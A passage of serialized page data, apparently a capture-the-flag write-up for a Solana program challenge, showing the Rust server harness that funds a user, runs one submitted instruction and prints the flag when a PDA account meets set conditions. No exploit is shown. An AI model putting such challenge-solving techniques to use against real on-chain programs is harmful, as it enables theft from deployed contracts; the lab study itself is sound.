2815,"children":42816},{"class":160,"line":668},[42817,42821,42825,42829,42833,42837,42841,42845],{"type":24,"tag":158,"props":42818,"children":42819},{"style":177},[42820],{"type":29,"value":42319},{"type":24,"tag":158,"props":42822,"children":42823},{"style":222},[42824],{"type":29,"value":462},{"type":24,"tag":158,"props":42826,"children":42827},{"style":222},[42828],{"type":29,"value":8784},{"type":24,"tag":158,"props":42830,"children":42831},{"style":177},[42832],{"type":29,"value":5361},{"type":24,"tag":158,"props":42834,"children":42835},{"style":188},[42836],{"type":29,"value":2048},{"type":24,"tag":158,"props":42838,"children":42839},{"style":465},[42840],{"type":29,"value":42112},{"type":24,"tag":158,"props":42842,"children":42843},{"style":222},[42844],{"type":29,"value":2030},{"type":24,"tag":158,"props":42846,"children":42847},{"style":188},[42848],{"type":29,"value":32835},{"type":24,"tag":158,"props":42850,"children":42851},{"class":160,"line":676},[42852],{"type":24,"tag":158,"props":42853,"children":42854},{"emptyLinePlaceholder":16},[42855],{"type":29,"value":481},{"type":24,"tag":158,"props":42857,"children":42858},{"class":160,"line":684},[42859,42863,42867,42871,42875,42879,42883,42887,42891,42895,42899,42903,42907,42911,42915,42919,42923,42927,42931,42935,42939,42943,42947,42951,42955,42959,42963,42967,42971],{"type":24,"tag":158,"props":42860,"children":42861},{"style":165},[42862],{"type":29,"value":4732},{"type":24,"tag":158,"props":42864,"children":42865},{"style":177},[42866],{"type":29,"value":15091},{"type":24,"tag":158,"props":42868,"children":42869},{"style":222},[42870],{"type":29,"value":462},{"type":24,"tag":158,"props":42872,"children":42873},{"style":188},[42874],{"type":29,"value":41920},{"type":24,"tag":158,"props":42876,"children":42877},{"style":222},[42878],{"type":29,"value":2146},{"type":24,"tag":158,"props":42880,"children":42881},{"style":188},[42882],{"type":29,"value":41929},{"type":24,"tag":158,"props":42884,"children":42885},{"style":222},[42886],{"type":29,"value":2146},{"type":24,"tag":158,"props":42888,"children":42889},{"style":496},[42890],{"type":29,"value":41938},{"type":24,"tag":158,"props":42892,"children":42893},{"style":222},[42894],{"type":29,"value":2146},{"type":24,"tag":158,"props":42896,"children":42897},{"style":188},[42898],{"type":29,"value":41947},{"type":24,"tag":158,"props":42900,"children":42901},{"style":171},[42902],{"type":29,"value":5082},{"type":24,"tag":158,"props":42904,"children":42905},{"style":188},[42906],{"type":29,"value":18465},{"type":24,"tag":158,"props":42908,"children":42909},{"style":465},[42910],{"type":29,"value":5736},{"type":24,"tag":158,"props":42912,"children":42913},{"style":188},[42914],{"type":29,"value":24305},{"type":24,"tag":158,"props":42916,"children":42917},{"style":165},[42918],{"type":29,"value":21510},{"type":24,"tag":158,"props":42920,"children":42921},{"style":188},[42922],{"type":29,"value":504},{"type":24,"tag":158,"props":42924,"children":42925},{"style":171},[42926],{"type":29,"value":4269},{"type":24,"tag":158,"props":42928,"children":42929},{"style":188},[42930],{"type":29,"value":42628},{"type":24,"tag":158,"props":42932,"children":42933},{"style":177},[42934],{"type":29,"value":5361},{"type":24,"tag":158,"props":42936,"children":42937},{"style":188},[42938],{"type":29,"value":2048},{"type":24,"tag":158,"props":42940,"children":42941},{"style":222},[42942],{"type":29,"value":2030},{"type":24,"tag":158,"props":42944,"children":42945},{"style":465},[42946],{"type":29,"value":5736},{"type":24,"tag":158,"props":42948,"children":42949},{"style":188},[42950],{"type":29,"value":16646},{"type":24,"tag":158,"props":42952,"children":42953},{"style":222},[42954],{"type":29,"value":347},{"type":24,"tag":158,"props":42956,"children":42957},{"style":496},[42958],{"type":29,"value":27419},{"type":24,"tag":158,"props":42960,"children":42961},{"style":188},[42962],{"type":29,"value":15113},{"type":24,"tag":158,"props":42964,"children":42965},{"style":222},[42966],{"type":29,"value":347},{"type":24,"tag":158,"props":42968,"children":42969},{"style":496},[42970],{"type":29,"value":5324},{"type":24,"tag":158,"props":42972,"children":42973},{"style":188},[42974],{"type":29,"value":16660},{"type":24,"tag":158,"props":42976,"children":42977},{"class":160,"line":700},[42978,42982,42986,42990,42994,42998,43002,43006,43010,43014,43018,43022,43026,43030,43034,43038,43042,43046,43050,43054,43058,43062,43066,43070,43074,43078,43082,43086],{"type":24,"tag":158,"props":42979,"children":42980},{"style":165},[42981],{"type":29,"value":4732},{"type":24,"tag":158,"props":42983,"children":42984},{"style":177},[42985],{"type":29,"value":42035},{"type":24,"tag":158,"props":42987,"children":42988},{"style":222},[42989],{"type":29,"value":462},{"type":24,"tag":158,"props":42991,"children":42992},{"style":188},[42993],{"type":29,"value":41920},{"type":24,"tag":158,"props":42995,"children":42996},{"style":222},[42997],{"type":29,"value":2146},{"type":24,"tag":158,"props":42999,"children":43000},{"style":188},[43001],{"type":29,"value":41929},{"type":24,"tag":158,"props":43003,"children":43004},{"style":222},[43005],{"type":29,"value":2146},{"type":24,"tag":158,"props":43007,"children":43008},{"style":496},[43009],{"type":29,"value":41938},{"type":24,"tag":158,"props":43011,"children":43012},{"style":222},[43013],{"type":29,"value":2146},{"type":24,"tag":158,"props":43015,"children":43016},{"style":188},[43017],{"type":29,"value":41947},{"type":24,"tag":158,"props":43019,"children":43020},{"style":171},[43021],{"type":29,"value":5082},{"type":24,"tag":158,"props":43023,"children":43024},{"style":188},[43025],{"type":29,"value":18465},{"type":24,"tag":158,"props":43027,"children":43028},{"style":465},[43029],{"type":29,"value":5736},{"type":24,"tag":158,"props":43031,"children":43032},{"style":188},[43033],{"type":29,"value":24305},{"type":24,"tag":158,"props":43035,"children":43036},{"style":171},[43037],{"type":29,"value":4269},{"type":24,"tag":158,"props":43039,"children":43040},{"style":188},[43041],{"type":29,"value":3817},{"type":24,"tag":158,"props":43043,"children":43044},{"style":177},[43045],{"type":29,"value":5361},{"type":24,"tag":158,"props":43047,"children":43048},{"style":188},[43049],{"type":29,"value":2048},{"type":24,"tag":158,"props":43051,"children":43052},{"style":465},[43053],{"type":29,"value":5736},{"type":24,"tag":158,"props":43055,"children":43056},{"style":222},[43057],{"type":29,"value":2030},{"type":24,"tag":158,"props":43059,"children":43060},{"style":465},[43061],{"type":29,"value":42112},{"type":24,"tag":158,"props":43063,"children":43064},{"style":188},[43065],{"type":29,"value":16646},{"type":24,"tag":158,"props":43067,"children":43068},{"style":222},[43069],{"type":29,"value":347},{"type":24,"tag":158,"props":43071,"children":43072},{"style":496},[43073],{"type":29,"value":27419},{"type":24,"tag":158,"props":43075,"children":43076},{"style":188},[43077],{"type":29,"value":15113},{"type":24,"tag":158,"props":43079,"children":43080},{"style":222},[43081],{"type":29,"value":347},{"type":24,"tag":158,"props":43083,"children":43084},{"style":496},[43085],{"type":29,"value":5324},{"type":24,"tag":158,"props":43087,"children":43088},{"style":188},[43089],{"type":29,"value":16660},{"type":24,"tag":158,"props":43091,"children":43092},{"class":160,"line":785},[43093,43097,43101,43105],{"type":24,"tag":158,"props":43094,"children":43095},{"style":496},[43096],{"type":29,"value":42148},{"type":24,"tag":158,"props":43098,"children":43099},{"style":188},[43100],{"type":29,"value":504},{"type":24,"tag":158,"props":43102,"children":43103},{"style":177},[43104],{"type":29,"value":3517},{"type":24,"tag":158,"props":43106,"children":43107},{"style":188},[43108],{"type":29,"value":1071},{"type":24,"tag":158,"props":43110,"children":43111},{"class":160,"line":1447},[43112],{"type":24,"tag":158,"props":43113,"children":43114},{"style":188},[43115],{"type":29,"value":3967},{"type":24,"tag":158,"props":43117,"children":43118},{"class":160,"line":1509},[43119],{"type":24,"tag":158,"props":43120,"children":43121},{"style":188},[43122],{"type":29,"value":307},{"type":24,"tag":395,"props":43124,"children":43126},{"id":43125},"test-environment",[43127],{"type":29,"value":43128},"Test Environment",{"type":24,"tag":25,"props":43130,"children":43131},{},[43132],{"type":29,"value":43133},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":24,"tag":25,"props":43135,"children":43136},{},[43137,43139,43145],{"type":29,"value":43138},"When you connect to the server through a tcp connection, ",{"type":24,"tag":154,"props":43140,"children":43142},{"className":43141},[],[43143],{"type":29,"value":43144},"framework/src/main.rs::handle_connection",{"type":29,"value":43146}," gets executed, which does the following:",{"type":24,"tag":1786,"props":43148,"children":43149},{},[43150],{"type":24,"tag":1790,"props":43151,"children":43152},{},[43153],{"type":29,"value":43154},"Creates a new Solana local node",{"type":24,"tag":147,"props":43156,"children":43158},{"className":151,"code":43157,"language":150,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[43159],{"type":24,"tag":154,"props":43160,"children":43161},{"__ignoreMap":7},[43162,43243,43319],{"type":24,"tag":158,"props":43163,"children":43164},{"class":160,"line":161},[43165,43169,43173,43178,43182,43187,43191,43196,43200,43205,43209,43214,43218,43222,43226,43231,43235,43239],{"type":24,"tag":158,"props":43166,"children":43167},{"style":165},[43168],{"type":29,"value":2662},{"type":24,"tag":158,"props":43170,"children":43171},{"style":165},[43172],{"type":29,"value":4676},{"type":24,"tag":158,"props":43174,"children":43175},{"style":177},[43176],{"type":29,"value":43177}," builder",{"type":24,"tag":158,"props":43179,"children":43180},{"style":222},[43181],{"type":29,"value":462},{"type":24,"tag":158,"props":43183,"children":43184},{"style":171},[43185],{"type":29,"value":43186}," ChallengeBuilder",{"type":24,"tag":158,"props":43188,"children":43189},{"style":222},[43190],{"type":29,"value":2146},{"type":24,"tag":158,"props":43192,"children":43193},{"style":496},[43194],{"type":29,"value":43195},"try_from",{"type":24,"tag":158,"props":43197,"children":43198},{"style":188},[43199],{"type":29,"value":504},{"type":24,"tag":158,"props":43201,"children":43202},{"style":177},[43203],{"type":29,"value":43204},"socket",{"type":24,"tag":158,"props":43206,"children":43207},{"style":222},[43208],{"type":29,"value":347},{"type":24,"tag":158,"props":43210,"children":43211},{"style":496},[43212],{"type":29,"value":43213},"try_clone",{"type":24,"tag":158,"props":43215,"children":43216},{"style":188},[43217],{"type":29,"value":15113},{"type":24,"tag":158,"props":43219,"children":43220},{"style":222},[43221],{"type":29,"value":347},{"type":24,"tag":158,"props":43223,"children":43224},{"style":496},[43225],{"type":29,"value":5324},{"type":24,"tag":158,"props":43227,"children":43228},{"style":188},[43229],{"type":29,"value":43230},"())",{"type":24,"tag":158,"props":43232,"children":43233},{"style":222},[43234],{"type":29,"value":347},{"type":24,"tag":158,"props":43236,"children":43237},{"style":496},[43238],{"type":29,"value":5324},{"type":24,"tag":158,"props":43240,"children":43241},{"style":188},[43242],{"type":29,"value":5329},{"type":24,"tag":158,"props":43244,"children":43245},{"class":160,"line":213},[43246,43251,43255,43260,43264,43269,43273,43278,43282,43287,43292,43296,43301,43305,43310,43314],{"type":24,"tag":158,"props":43247,"children":43248},{"style":496},[43249],{"type":29,"value":43250},"assert!",{"type":24,"tag":158,"props":43252,"children":43253},{"style":188},[43254],{"type":29,"value":504},{"type":24,"tag":158,"props":43256,"children":43257},{"style":177},[43258],{"type":29,"value":43259},"builder",{"type":24,"tag":158,"props":43261,"children":43262},{"style":222},[43263],{"type":29,"value":347},{"type":24,"tag":158,"props":43265,"children":43266},{"style":496},[43267],{"type":29,"value":43268},"add_program",{"type":24,"tag":158,"props":43270,"children":43271},{"style":188},[43272],{"type":29,"value":504},{"type":24,"tag":158,"props":43274,"children":43275},{"style":1108},[43276],{"type":29,"value":43277},"\"/path/to/chall.so\"",{"type":24,"tag":158,"props":43279,"children":43280},{"style":188},[43281],{"type":29,"value":191},{"type":24,"tag":158,"props":43283,"children":43284},{"style":171},[43285],{"type":29,"value":43286},"Some",{"type":24,"tag":158,"props":43288,"children":43289},{"style":188},[43290],{"type":29,"value":43291},"(chall",{"type":24,"tag":158,"props":43293,"children":43294},{"style":222},[43295],{"type":29,"value":2146},{"type":24,"tag":158,"props":43297,"children":43298},{"style":188},[43299],{"type":29,"value":43300},"ID)) ",{"type":24,"tag":158,"props":43302,"children":43303},{"style":222},[43304],{"type":29,"value":1034},{"type":24,"tag":158,"props":43306,"children":43307},{"style":188},[43308],{"type":29,"value":43309}," chall",{"type":24,"tag":158,"props":43311,"children":43312},{"style":222},[43313],{"type":29,"value":2146},{"type":24,"tag":158,"props":43315,"children":43316},{"style":188},[43317],{"type":29,"value":43318},"ID);\n",{"type":24,"tag":158,"props":43320,"children":43321},{"class":160,"line":238},[43322,43326,43330,43334,43338,43342,43346,43351,43355,43359,43363],{"type":24,"tag":158,"props":43323,"children":43324},{"style":165},[43325],{"type":29,"value":2662},{"type":24,"tag":158,"props":43327,"children":43328},{"style":165},[43329],{"type":29,"value":4676},{"type":24,"tag":158,"props":43331,"children":43332},{"style":177},[43333],{"type":29,"value":43309},{"type":24,"tag":158,"props":43335,"children":43336},{"style":222},[43337],{"type":29,"value":462},{"type":24,"tag":158,"props":43339,"children":43340},{"style":177},[43341],{"type":29,"value":43177},{"type":24,"tag":158,"props":43343,"children":43344},{"style":222},[43345],{"type":29,"value":347},{"type":24,"tag":158,"props":43347,"children":43348},{"style":496},[43349],{"type":29,"value":43350},"build",{"type":24,"tag":158,"props":43352,"children":43353},{"style":188},[43354],{"type":29,"value":15113},{"type":24,"tag":158,"props":43356,"children":43357},{"style":222},[43358],{"type":29,"value":347},{"type":24,"tag":158,"props":43360,"children":43361},{"style":1914},[43362],{"type":29,"value":34178},{"type":24,"tag":158,"props":43364,"children":43365},{"style":188},[43366],{"type":29,"value":473},{"type":24,"tag":1786,"props":43368,"children":43369},{"start":213},[43370],{"type":24,"tag":1790,"props":43371,"children":43372},{},[43373],{"type":29,"value":43374},"Funds the user account with 100 SOL",{"type":24,"tag":147,"props":43376,"children":43378},{"className":151,"code":43377,"language":150,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[43379],{"type":24,"tag":154,"props":43380,"children":43381},{"__ignoreMap":7},[43382,43415,43447,43454,43496,43528,43535,43543,43607,43626,43633],{"type":24,"tag":158,"props":43383,"children":43384},{"class":160,"line":161},[43385,43389,43394,43398,43403,43407,43411],{"type":24,"tag":158,"props":43386,"children":43387},{"style":165},[43388],{"type":29,"value":2662},{"type":24,"tag":158,"props":43390,"children":43391},{"style":177},[43392],{"type":29,"value":43393}," user_keypair",{"type":24,"tag":158,"props":43395,"children":43396},{"style":222},[43397],{"type":29,"value":462},{"type":24,"tag":158,"props":43399,"children":43400},{"style":171},[43401],{"type":29,"value":43402}," Keypair",{"type":24,"tag":158,"props":43404,"children":43405},{"style":222},[43406],{"type":29,"value":2146},{"type":24,"tag":158,"props":43408,"children":43409},{"style":496},[43410],{"type":29,"value":16357},{"type":24,"tag":158,"props":43412,"children":43413},{"style":188},[43414],{"type":29,"value":5329},{"type":24,"tag":158,"props":43416,"children":43417},{"class":160,"line":213},[43418,43422,43427,43431,43435,43439,43443],{"type":24,"tag":158,"props":43419,"children":43420},{"style":165},[43421],{"type":29,"value":2662},{"type":24,"tag":158,"props":43423,"children":43424},{"style":177},[43425],{"type":29,"value":43426}," user",{"type":24,"tag":158,"props":43428,"children":43429},{"style":222},[43430],{"type":29,"value":462},{"type":24,"tag":158,"props":43432,"children":43433},{"style":177},[43434],{"type":29,"value":43393},{"type":24,"tag":158,"props":43436,"children":43437},{"style":222},[43438],{"type":29,"value":347},{"type":24,"tag":158,"props":43440,"children":43441},{"style":496},[43442],{"type":29,"value":5203},{"type":24,"tag":158,"props":43444,"children":43445},{"style":188},[43446],{"type":29,"value":5329},{"type":24,"tag":158,"props":43448,"children":43449},{"class":160,"line":238},[43450],{"type":24,"tag":158,"props":43451,"children":43452},{"emptyLinePlaceholder":16},[43453],{"type":29,"value":481},{"type":24,"tag":158,"props":43455,"children":43456},{"class":160,"line":259},[43457,43461,43466,43470,43474,43479,43483,43487,43491],{"type":24,"tag":158,"props":43458,"children":43459},{"style":165},[43460],{"type":29,"value":2662},{"type":24,"tag":158,"props":43462,"children":43463},{"style":177},[43464],{"type":29,"value":43465}," payer_keypair",{"type":24,"tag":158,"props":43467,"children":43468},{"style":222},[43469],{"type":29,"value":462},{"type":24,"tag":158,"props":43471,"children":43472},{"style":222},[43473],{"type":29,"value":8784},{"type":24,"tag":158,"props":43475,"children":43476},{"style":177},[43477],{"type":29,"value":43478},"chall",{"type":24,"tag":158,"props":43480,"children":43481},{"style":222},[43482],{"type":29,"value":347},{"type":24,"tag":158,"props":43484,"children":43485},{"style":188},[43486],{"type":29,"value":21524},{"type":24,"tag":158,"props":43488,"children":43489},{"style":222},[43490],{"type":29,"value":347},{"type":24,"tag":158,"props":43492,"children":43493},{"style":188},[43494],{"type":29,"value":43495},"payer;\n",{"type":24,"tag":158,"props":43497,"children":43498},{"class":160,"line":280},[43499,43503,43508,43512,43516,43520,43524],{"type":24,"tag":158,"props":43500,"children":43501},{"style":165},[43502],{"type":29,"value":2662},{"type":24,"tag":158,"props":43504,"children":43505},{"style":177},[43506],{"type":29,"value":43507}," payer",{"type":24,"tag":158,"props":43509,"children":43510},{"style":222},[43511],{"type":29,"value":462},{"type":24,"tag":158,"props":43513,"children":43514},{"style":177},[43515],{"type":29,"value":43465},{"type":24,"tag":158,"props":43517,"children":43518},{"style":222},[43519],{"type":29,"value":347},{"type":24,"tag":158,"props":43521,"children":43522},{"style":496},[43523],{"type":29,"value":5203},{"type":24,"tag":158,"props":43525,"children":43526},{"style":188},[43527],{"type":29,"value":5329},{"type":24,"tag":158,"props":43529,"children":43530},{"class":160,"line":301},[43531],{"type":24,"tag":158,"props":43532,"children":43533},{"emptyLinePlaceholder":16},[43534],{"type":29,"value":481},{"type":24,"tag":158,"props":43536,"children":43537},{"class":160,"line":626},[43538],{"type":24,"tag":158,"props":43539,"children":43540},{"style":177},[43541],{"type":29,"value":43542},"chall\n",{"type":24,"tag":158,"props":43544,"children":43545},{"class":160,"line":668},[43546,43551,43556,43561,43565,43569,43573,43577,43582,43586,43590,43594,43598,43603],{"type":24,"tag":158,"props":43547,"children":43548},{"style":222},[43549],{"type":29,"value":43550}," .",{"type":24,"tag":158,"props":43552,"children":43553},{"style":496},[43554],{"type":29,"value":43555},"run_ix",{"type":24,"tag":158,"props":43557,"children":43558},{"style":188},[43559],{"type":29,"value":43560},"(system_instruction",{"type":24,"tag":158,"props":43562,"children":43563},{"style":222},[43564],{"type":29,"value":2146},{"type":24,"tag":158,"props":43566,"children":43567},{"style":496},[43568],{"type":29,"value":33384},{"type":24,"tag":158,"props":43570,"children":43571},{"style":188},[43572],{"type":29,"value":504},{"type":24,"tag":158,"props":43574,"children":43575},{"style":222},[43576],{"type":29,"value":2212},{"type":24,"tag":158,"props":43578,"children":43579},{"style":177},[43580],{"type":29,"value":43581},"payer",{"type":24,"tag":158,"props":43583,"children":43584},{"style":188},[43585],{"type":29,"value":191},{"type":24,"tag":158,"props":43587,"children":43588},{"style":222},[43589],{"type":29,"value":2212},{"type":24,"tag":158,"props":43591,"children":43592},{"style":177},[43593],{"type":29,"value":21476},{"type":24,"tag":158,"props":43595,"children":43596},{"style":188},[43597],{"type":29,"value":191},{"type":24,"tag":158,"props":43599,"children":43600},{"style":465},[43601],{"type":29,"value":43602},"100_000_000_000",{"type":24,"tag":158,"props":43604,"children":43605},{"style":188},[43606],{"type":29,"value":20955},{"type":24,"tag":158,"props":43608,"children":43609},{"class":160,"line":676},[43610,43614,43618,43622],{"type":24,"tag":158,"props":43611,"children":43612},{"style":222},[43613],{"type":29,"value":43550},{"type":24,"tag":158,"props":43615,"children":43616},{"style":1914},[43617],{"type":29,"value":34178},{"type":24,"tag":158,"props":43619,"children":43620},{"style":222},[43621],{"type":29,"value":4820},{"type":24,"tag":158,"props":43623,"children":43624},{"style":188},[43625],{"type":29,"value":473},{"type":24,"tag":158,"props":43627,"children":43628},{"class":160,"line":684},[43629],{"type":24,"tag":158,"props":43630,"children":43631},{"emptyLinePlaceholder":16},[43632],{"type":29,"value":481},{"type":24,"tag":158,"props":43634,"children":43635},{"class":160,"line":700},[43636,43641,43645,43649,43653,43658,43662,43666,43670,43674],{"type":24,"tag":158,"props":43637,"children":43638},{"style":496},[43639],{"type":29,"value":43640},"writeln!",{"type":24,"tag":158,"props":43642,"children":43643},{"style":188},[43644],{"type":29,"value":504},{"type":24,"tag":158,"props":43646,"children":43647},{"style":177},[43648],{"type":29,"value":43204},{"type":24,"tag":158,"props":43650,"children":43651},{"style":188},[43652],{"type":29,"value":191},{"type":24,"tag":158,"props":43654,"children":43655},{"style":1108},[43656],{"type":29,"value":43657},"\"user: {}\"",{"type":24,"tag":158,"props":43659,"children":43660},{"style":188},[43661],{"type":29,"value":191},{"type":24,"tag":158,"props":43663,"children":43664},{"style":177},[43665],{"type":29,"value":21476},{"type":24,"tag":158,"props":43667,"children":43668},{"style":188},[43669],{"type":29,"value":521},{"type":24,"tag":158,"props":43671,"children":43672},{"style":222},[43673],{"type":29,"value":4820},{"type":24,"tag":158,"props":43675,"children":43676},{"style":188},[43677],{"type":29,"value":473},{"type":24,"tag":1786,"props":43679,"children":43680},{"start":238},[43681],{"type":24,"tag":1790,"props":43682,"children":43683},{},[43684],{"type":29,"value":43685},"Reads an instruction from the tcp stream and executes it",{"type":24,"tag":147,"props":43687,"children":43689},{"className":151,"code":43688,"language":150,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[43690],{"type":24,"tag":154,"props":43691,"children":43692},{"__ignoreMap":7},[43693,43743],{"type":24,"tag":158,"props":43694,"children":43695},{"class":160,"line":161},[43696,43700,43705,43709,43713,43717,43722,43726,43730,43735,43739],{"type":24,"tag":158,"props":43697,"children":43698},{"style":165},[43699],{"type":29,"value":2662},{"type":24,"tag":158,"props":43701,"children":43702},{"style":177},[43703],{"type":29,"value":43704}," solve_ix",{"type":24,"tag":158,"props":43706,"children":43707},{"style":222},[43708],{"type":29,"value":462},{"type":24,"tag":158,"props":43710,"children":43711},{"style":177},[43712],{"type":29,"value":43309},{"type":24,"tag":158,"props":43714,"children":43715},{"style":222},[43716],{"type":29,"value":347},{"type":24,"tag":158,"props":43718,"children":43719},{"style":496},[43720],{"type":29,"value":43721},"read_instruction",{"type":24,"tag":158,"props":43723,"children":43724},{"style":188},[43725],{"type":29,"value":43291},{"type":24,"tag":158,"props":43727,"children":43728},{"style":222},[43729],{"type":29,"value":2146},{"type":24,"tag":158,"props":43731,"children":43732},{"style":188},[43733],{"type":29,"value":43734},"ID)",{"type":24,"tag":158,"props":43736,"children":43737},{"style":222},[43738],{"type":29,"value":4820},{"type":24,"tag":158,"props":43740,"children":43741},{"style":188},[43742],{"type":29,"value":473},{"type":24,"tag":158,"props":43744,"children":43745},{"class":160,"line":213},[43746,43750,43754,43759,43763,43767,43771,43776,43780,43784,43788,43792,43797,43801,43805,43809,43813,43817,43821,43825],{"type":24,"tag":158,"props":43747,"children":43748},{"style":177},[43749],{"type":29,"value":43478},{"type":24,"tag":158,"props":43751,"children":43752},{"style":222},[43753],{"type":29,"value":347},{"type":24,"tag":158,"props":43755,"children":43756},{"style":496},[43757],{"type":29,"value":43758},"run_ixs_full",{"type":24,"tag":158,"props":43760,"children":43761},{"style":188},[43762],{"type":29,"value":504},{"type":24,"tag":158,"props":43764,"children":43765},{"style":222},[43766],{"type":29,"value":2212},{"type":24,"tag":158,"props":43768,"children":43769},{"style":188},[43770],{"type":29,"value":2048},{"type":24,"tag":158,"props":43772,"children":43773},{"style":177},[43774],{"type":29,"value":43775},"solve_ix",{"type":24,"tag":158,"props":43777,"children":43778},{"style":188},[43779],{"type":29,"value":24305},{"type":24,"tag":158,"props":43781,"children":43782},{"style":222},[43783],{"type":29,"value":2212},{"type":24,"tag":158,"props":43785,"children":43786},{"style":188},[43787],{"type":29,"value":2048},{"type":24,"tag":158,"props":43789,"children":43790},{"style":222},[43791],{"type":29,"value":2212},{"type":24,"tag":158,"props":43793,"children":43794},{"style":177},[43795],{"type":29,"value":43796},"user_keypair",{"type":24,"tag":158,"props":43798,"children":43799},{"style":188},[43800],{"type":29,"value":24305},{"type":24,"tag":158,"props":43802,"children":43803},{"style":222},[43804],{"type":29,"value":2212},{"type":24,"tag":158,"props":43806,"children":43807},{"style":177},[43808],{"type":29,"value":21476},{"type":24,"tag":158,"props":43810,"children":43811},{"style":188},[43812],{"type":29,"value":521},{"type":24,"tag":158,"props":43814,"children":43815},{"style":222},[43816],{"type":29,"value":347},{"type":24,"tag":158,"props":43818,"children":43819},{"style":1914},[43820],{"type":29,"value":34178},{"type":24,"tag":158,"props":43822,"children":43823},{"style":222},[43824],{"type":29,"value":4820},{"type":24,"tag":158,"props":43826,"children":43827},{"style":188},[43828],{"type":29,"value":473},{"type":24,"tag":1786,"props":43830,"children":43831},{"start":259},[43832],{"type":24,"tag":1790,"props":43833,"children":43834},{},[43835],{"type":29,"value":43836},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":24,"tag":147,"props":43838,"children":43840},{"className":151,"code":43839,"language":150,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[43841],{"type":24,"tag":154,"props":43842,"children":43843},{"__ignoreMap":7},[43844,43928,44019,44060,44144,44151,44188,44245,44290,44305,44341,44348,44355],{"type":24,"tag":158,"props":43845,"children":43846},{"class":160,"line":161},[43847,43851,43856,43860,43864,43868,43873,43877,43881,43885,43890,43894,43899,43904,43908,43912,43916,43920,43924],{"type":24,"tag":158,"props":43848,"children":43849},{"style":165},[43850],{"type":29,"value":2662},{"type":24,"tag":158,"props":43852,"children":43853},{"style":177},[43854],{"type":29,"value":43855}," flag",{"type":24,"tag":158,"props":43857,"children":43858},{"style":222},[43859],{"type":29,"value":462},{"type":24,"tag":158,"props":43861,"children":43862},{"style":171},[43863],{"type":29,"value":22101},{"type":24,"tag":158,"props":43865,"children":43866},{"style":222},[43867],{"type":29,"value":2146},{"type":24,"tag":158,"props":43869,"children":43870},{"style":496},[43871],{"type":29,"value":43872},"create_program_address",{"type":24,"tag":158,"props":43874,"children":43875},{"style":188},[43876],{"type":29,"value":504},{"type":24,"tag":158,"props":43878,"children":43879},{"style":222},[43880],{"type":29,"value":2212},{"type":24,"tag":158,"props":43882,"children":43883},{"style":188},[43884],{"type":29,"value":2048},{"type":24,"tag":158,"props":43886,"children":43887},{"style":1108},[43888],{"type":29,"value":43889},"\"FLAG\"",{"type":24,"tag":158,"props":43891,"children":43892},{"style":222},[43893],{"type":29,"value":347},{"type":24,"tag":158,"props":43895,"children":43896},{"style":496},[43897],{"type":29,"value":43898},"as_ref",{"type":24,"tag":158,"props":43900,"children":43901},{"style":188},[43902],{"type":29,"value":43903},"()], ",{"type":24,"tag":158,"props":43905,"children":43906},{"style":222},[43907],{"type":29,"value":2212},{"type":24,"tag":158,"props":43909,"children":43910},{"style":188},[43911],{"type":29,"value":43478},{"type":24,"tag":158,"props":43913,"children":43914},{"style":222},[43915],{"type":29,"value":2146},{"type":24,"tag":158,"props":43917,"children":43918},{"style":188},[43919],{"type":29,"value":43734},{"type":24,"tag":158,"props":43921,"children":43922},{"style":222},[43923],{"type":29,"value":4820},{"type":24,"tag":158,"props":43925,"children":43926},{"style":188},[43927],{"type":29,"value":473},{"type":24,"tag":158,"props":43929,"children":43930},{"class":160,"line":213},[43931,43935,43939,43943,43947,43952,43956,43960,43964,43968,43972,43976,43981,43985,43990,43994,43999,44003,44007,44011,44015],{"type":24,"tag":158,"props":43932,"children":43933},{"style":1914},[43934],{"type":29,"value":16815},{"type":24,"tag":158,"props":43936,"children":43937},{"style":165},[43938],{"type":29,"value":28562},{"type":24,"tag":158,"props":43940,"children":43941},{"style":171},[43942],{"type":29,"value":28567},{"type":24,"tag":158,"props":43944,"children":43945},{"style":188},[43946],{"type":29,"value":504},{"type":24,"tag":158,"props":43948,"children":43949},{"style":177},[43950],{"type":29,"value":43951},"acct",{"type":24,"tag":158,"props":43953,"children":43954},{"style":188},[43955],{"type":29,"value":723},{"type":24,"tag":158,"props":43957,"children":43958},{"style":222},[43959],{"type":29,"value":1285},{"type":24,"tag":158,"props":43961,"children":43962},{"style":177},[43963],{"type":29,"value":43309},{"type":24,"tag":158,"props":43965,"children":43966},{"style":222},[43967],{"type":29,"value":347},{"type":24,"tag":158,"props":43969,"children":43970},{"style":188},[43971],{"type":29,"value":21524},{"type":24,"tag":158,"props":43973,"children":43974},{"style":222},[43975],{"type":29,"value":347},{"type":24,"tag":158,"props":43977,"children":43978},{"style":188},[43979],{"type":29,"value":43980},"banks_client",{"type":24,"tag":158,"props":43982,"children":43983},{"style":222},[43984],{"type":29,"value":347},{"type":24,"tag":158,"props":43986,"children":43987},{"style":496},[43988],{"type":29,"value":43989},"get_account",{"type":24,"tag":158,"props":43991,"children":43992},{"style":188},[43993],{"type":29,"value":504},{"type":24,"tag":158,"props":43995,"children":43996},{"style":177},[43997],{"type":29,"value":43998},"flag",{"type":24,"tag":158,"props":44000,"children":44001},{"style":188},[44002],{"type":29,"value":521},{"type":24,"tag":158,"props":44004,"children":44005},{"style":222},[44006],{"type":29,"value":347},{"